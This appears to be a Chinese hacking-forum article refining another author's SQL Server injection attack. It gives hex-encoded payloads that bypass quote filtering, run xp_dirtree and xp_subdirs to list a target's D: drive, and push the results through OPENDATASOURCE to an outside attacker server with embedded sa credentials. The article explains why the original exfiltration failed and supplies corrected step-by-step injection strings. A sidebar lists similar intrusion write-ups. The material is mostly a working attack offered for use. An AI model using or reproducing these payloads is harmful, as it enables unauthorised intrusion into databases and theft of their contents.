|
| 以下是引用片段: ;insert into temp(id,num1) exec master.dbo.xp_dirtree ’D:’-- 因为过滤单引号,所以nowthw将这句转换为: ;DECLARE @S NVARCHAR(4000);SET @S=CAST(0x69006E007300650072007400200069006E0074006F002000740065006D0070002800690064002C006E0075006D00310029002000650078006500630020006D00610073007400650072002E00640062006F002E00780070005F0064006900720074007200650065002000270044003A005C002700 AS NVARCHAR(4000));EXEC(@S)-- |
| 以下是引用片段: ;insert into opendatasource(’sqloledb’,’server=211.11.11.11;uid=sa;pwd=fuck!!;database=test’).test.dbo.mulu select id from temp where num1=1-- 这句转换为: ;DECLARE @S NVARCHAR(4000);SET @S=CAST(0x69006E007300650072007400200069006E0074006F0020006F00700065006E00640061007400610073006F00750072006300650028002700730071006C006F006C0065006400620027002C0027007300650072007600650072003D003200310031002E00310031002E00310031002E00310031003B007500690064003D00730061003B007000770064003D006600750063006B00210021003B00640061007400610062006100730065003D007400650073007400270029002E0074006500730074002E00640062006F002E006B0075002000730065006C0065006300740020006E0061006D0065002000660072006F006D0020006D00610073007400650072002E00640062006F002E00730079007300640061007400610062006100730065007300 AS NVARCHAR(4000));EXEC(@S)-- |
我们来分析一下,作者只想得到D盘根目录下的目录列表,运用了xp_dirtree存储过程,其实如果只得到目录列表,用;insert into temp(id) exec master.dbo.xp_subdirs 'd:';--用这个语句更加简洁高效一些。因为用xp_dirtree,它后面第三句中的select id from temp where num1=1就必须要这个num1=1的限制条件,否则导出的数据过大就会很导出失败。再一点我们分析一下作者导出数据失败的原因,根据我的经验,像这样的数据导出,远程的表与本地的表应该具有相同的数据结构,还有就是导出的数据不能太大,不然容易使导出失败。导出失败就像nowthk所说的那种情况。我们看下nowthk是怎样建本地表的呢?本地表mulu(name char(255)) 那远程是那个呢?temp(id nvarchar(255),num1 nvarchar(255)),我们可以看出这两个表结构是不同的,这样导出就失败了,所以在用opendatasource函数导出数据时一定要注意,远程表必须要与本地表结构相同。所以本地建表应该是用这样的命令:;create table temp(id nvarchar(255),num1 nvarchar(255))—
所以我给改造的注入语句为:
(1);create table temp(id nvarchar(255),num1 nvarchar(255))—
(2);insert into temp(id) exec master.dbo.xp_subdirs 'd:';--
这句转换成十六进制,同nowthk的所十六进制的方法。
(3);insert into opendatasource(’sqloledb’,’server=211.11.11.11;uid=sa;pwd=fuck!!;database=test’).test.dbo.temp select * from temp --
这句也一样,转成十六进制
经过这样改造,就可以成功暴得D盘下的目录列表了。如果是要用xp_dirtree的话,就要改造成这样:
(1);DROP+TABLE+WhyTt_Tmp;CREATE+TABLE+WhyTt_Tmp(subdirectory+nvarchar(256)+NULL,depth+tinyint+NULL,[file]+bit+NULL);Insert+WhyTt_Tmp+exec+master..xp_dirtree 'd:',+1,1;--
(2);insert into opendatasource(’sqloledb’,’server=211.11.11.11;uid=sa;pwd=fuck!!;database=test’).test.dbo.whytt_tmp select * from whytt_tmp --
当然要在本地建个表whytt_tmp,结构与远程的whytt_tmp相同。;Insert+WhyTt_Tmp+exec+master..xp_dirtree 'd:',+1,1;--这句是在远程表中插入D盘下的目录及文件,但没有下级目录,这样表内容比较小,导出到本地,容易成功。这句与nowthk的不同,大家要注意一下。
| 实例讲解跨站入侵攻防战之攻击篇 | 05-08 |
| 对偶偶娱乐分站服务器的安全检测 | 04-23 |
| 入侵88red系统的详细过程 | 04-07 |
| 对趋势科技等数万网站被攻击的分 | 03-21 |
| 凡人网络购物系统 V8.0 简体中文 | 03-18 |
| linux平台下渗透日本著名XXXXXX. | 03-18 |
| 搜索框所引起的XSS漏洞 | 03-05 |
| 跳转漏洞的利用 | 03-05 |
| 对复旦大学的一次漫长渗透 | 03-03 |
| .net一句话马以及dx论坛拿shell | 03-01 |
| php渗透入侵过程图文详解 | 03-01 |
| DJ网站的入侵详细过程 | 02-26 |